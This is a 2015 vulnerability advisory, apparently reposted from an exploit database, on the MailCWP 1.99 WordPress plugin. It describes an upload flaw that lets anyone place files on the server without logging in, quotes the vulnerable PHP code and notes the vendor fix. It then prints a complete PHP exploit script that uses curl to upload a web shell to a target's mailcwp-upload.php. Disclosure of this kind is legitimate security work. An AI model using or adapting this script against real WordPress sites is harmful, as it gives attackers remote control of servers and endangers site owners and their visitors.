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# WordPress Mailcwp 1.99 Shell Upload Vulnerability

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Title: Remote file upload vulnerability in mailcwp v1.99 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-09
Download Site: https://wordpress.org/plugins/mailcwp/
Vendor: CadreWorks Pty Ltd
Vendor Notified: 2015-07-09 fixed in v1.110
Vendor Contact: Contact Page via WP site
Description: MailCWP, Mail Client for WordPress. A full-featured mail client plugin providing webmail access through your WordPress blog or website.
Vulnerability:
The code in mailcwp-upload.php doesn't check that a user is authenticated or what type of file is being uploaded any user can upload a shell to the target wordpress server:

2 $message_id = $_REQUEST["message_id"];
3 $upload_dir = $_REQUEST["upload_dir"];
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8 $fileName = $_FILES["file"]["name"];
9 move_uploaded_file($_FILES["file"]["tmp_name"], "$upload_dir/$message_id-$fileName");

Exploitation requires the attacker to guess a writeable location in the http server root.

CVEID:
OSVDB:
Exploit Code:
⢠<?php
⢠/*Larry W. Cashdollar @_larry0
⢠Exploit for mailcwp v1.99 shell will be called 1-shell.php.
⢠7/9/2015
⢠*/
⢠$target_url = 'http://www.example.com/wp-content/plugins/mailcwp/mailcwp-upload.php?message_id=1&upload_dir=/usr/share/wordpress/wp-content/uploads';
⢠$file_name_with_full_path = '/var/www/shell.php';
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⢠echo "POST to $target_url $file_name_with_full_path";
⢠$post = array('file' => 'shell.php','file'=>'@'.$file_name_with_full_path);
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⢠$ch = curl_init();
⢠curl_setopt($ch, CURLOPT_URL,$target_url);
⢠curl_setopt($ch, CURLOPT_POST,1);
⢠curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
⢠curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
⢠$result=curl_exec ($ch);
⢠curl_close ($ch);
⢠echo "<hr>";
⢠echo $result;
⢠echo "<hr>";
⢠?>
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Advisory: http://www.vapid.dhs.org/advisory.php?v=138


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# Iranian Exploit DataBase = http://IeDb.Ir [2015-07-25]

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